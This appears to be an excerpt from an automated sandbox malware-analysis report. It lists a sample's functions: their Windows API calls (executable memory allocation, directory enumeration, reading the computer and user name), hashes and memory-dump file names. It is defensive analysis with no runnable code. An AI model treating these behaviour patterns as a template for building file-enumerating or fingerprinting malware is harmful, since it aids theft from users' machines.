API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: fba2b4e47860ef2d6b24b7a87b5f4fcc2cfd2348bd0d460f13270c4b1f1bdfaf
Instruction ID: 4554dc8d4b3ac5c06c7a0b81f8ad0d250d7b66acd2dc96adcf897e36862549a0
Opcode Fuzzy Hash: fba2b4e47860ef2d6b24b7a87b5f4fcc2cfd2348bd0d460f13270c4b1f1bdfaf
Instruction Fuzzy Hash: 5F41F9B76002086BD764F7A0EC42EFE333DAB99300F40855CBA4957186EE755B9D8B92

Function 001E6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 001E6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 001E6753

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9512800723022b8ba716252611fa0659e15e72c24a3b9870ff9fc915d0f24c3b
Instruction ID: 0373decb088b462db6bc91459f1ee44fa97d5fe9fdab108d53291e55a6926b2c
Opcode Fuzzy Hash: 9512800723022b8ba716252611fa0659e15e72c24a3b9870ff9fc915d0f24c3b
Instruction Fuzzy Hash: AE41EB74A00209EFCB44CF59C494BADBBB1FF58354F6482A9E9599B345C731EA81CF84

Function 001F5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F508A
lstrcat.KERNEL32(?,011DDBE0), ref: 001F50A8

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 2f30c672df7f294dfb7ae3877e8342389925af4956c28927a5d6287d76550544
Instruction ID: 461e65d8f34db16b708eb99843bfbdff506c0b1508e331aa1e308cffbfdf911c
Opcode Fuzzy Hash: 2f30c672df7f294dfb7ae3877e8342389925af4956c28927a5d6287d76550544
Instruction Fuzzy Hash: 6B019B76A0020C67CB64FB70DC42EFE733CAF64300F404594BB4A56191EFB49A998BE2

Function 001E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001E10F7

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 3a005768b443c9b798bc4c14c27981709931d293206626f080160cedd4f6969d
Instruction ID: f39fb7ba06fd292d02e3737113dbb2f52d6e0ba1f9c456714b1421221d5c01ae
Opcode Fuzzy Hash: 3a005768b443c9b798bc4c14c27981709931d293206626f080160cedd4f6969d
Instruction Fuzzy Hash: CFF02771641308BBEB14ABA4AC49FBFB7ECE705B15F300458FA04E3280D6719F40CAA4

Function 001F8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,001E1B54,?,?,0020564C,?,?,00200E1F), ref: 001F8D9F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 74b371a7bb3426663a475039dd577a21fc19019559533ea30058884d3153536c
Instruction ID: 95ee926593a867befb3ca4f81b743071b6f83ab168dbc2927e3d0035d1162f61
Opcode Fuzzy Hash: 74b371a7bb3426663a475039dd577a21fc19019559533ea30058884d3153536c
Instruction Fuzzy Hash: 19F01570C0020CEBCB04EFA4D5496ECBB74EF10310F508199E92A672C0DB749A5ADB81

Function 001F8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1b908f3276e6ddb616871cb89c77753e32aabdd6294c462c47fa19ec02ce2917
Instruction ID: 9355b1957713c84916dddae6e887af2a623654c8575943b94ab47244fecfb12b
Opcode Fuzzy Hash: 1b908f3276e6ddb616871cb89c77753e32aabdd6294c462c47fa19ec02ce2917
Instruction Fuzzy Hash: A5E01A71A4034CABDB91EB90CC96FAE737CAB44B01F404295BA0C5A1C0DE70AB868B91

Function 001E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
Part of subcall function 001F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
Part of subcall function 001F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Part of subcall function 001F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
Part of subcall function 001F7850: RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
Part of subcall function 001F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

ExitProcess.KERNEL32 ref: 001E11C6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 0a3e14002bd596793c3ab6631ee4653d4db07c41b4645bfe4715e786b3e6a007
Instruction ID: 6490e135ebed2e436f79ef76ee2a595af65b196da8a15cda41b6c036691dde75
Opcode Fuzzy Hash: 0a3e14002bd596793c3ab6631ee4653d4db07c41b4645bfe4715e786b3e6a007
Instruction Fuzzy Hash: 34E012B5A1430963CE1477B1AC0AB3A329C9B64385F480834FF05D3242FB75E821856E

Function 001F8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 1ed919ceff41dcf0a68df9f02547eaa599c492c8d4f9ffb9e0e333a9c5c90895
Instruction ID: f4009bfed0bfdf71e2413f2debdc8f3fb79012ff1756606dfb0eb0b12f6f232a
Opcode Fuzzy Hash: 1ed919ceff41dcf0a68df9f02547eaa599c492c8d4f9ffb9e0e333a9c5c90895
Instruction Fuzzy Hash: DA01F630A0410CEFCB04CF98C595BBCBBB1EF04308F288098EA056B392C7756E98DB85

Non-executed Functions

Function 001F38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001F38CC
FindFirstFileA.KERNEL32(?,?), ref: 001F38E3
lstrcat.KERNEL32(?,?), ref: 001F3935
StrCmpCA.SHLWAPI(?,00200F70), ref: 001F3947
StrCmpCA.SHLWAPI(?,00200F74), ref: 001F395D
FindNextFileA.KERNEL32(000000FF,?), ref: 001F3C67
FindClose.KERNEL32(000000FF), ref: 001F3C7C

Strings

%s%s, xrefs: 001F3AAD
%s\*, xrefs: 001F38C0
%s\%s, xrefs: 001F397A
%s\%s\%s, xrefs: 001F3A4A
%s\%s, xrefs: 001F3A6F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 0a52b75dd5425afb53a6d45d0be53f7a06597f62bd90dd4f69982590a842a6be
Instruction ID: f9c55d92d6dd23dd10c18776bc8228f7f601e0fd66050f084f5bc67bb5626e0d
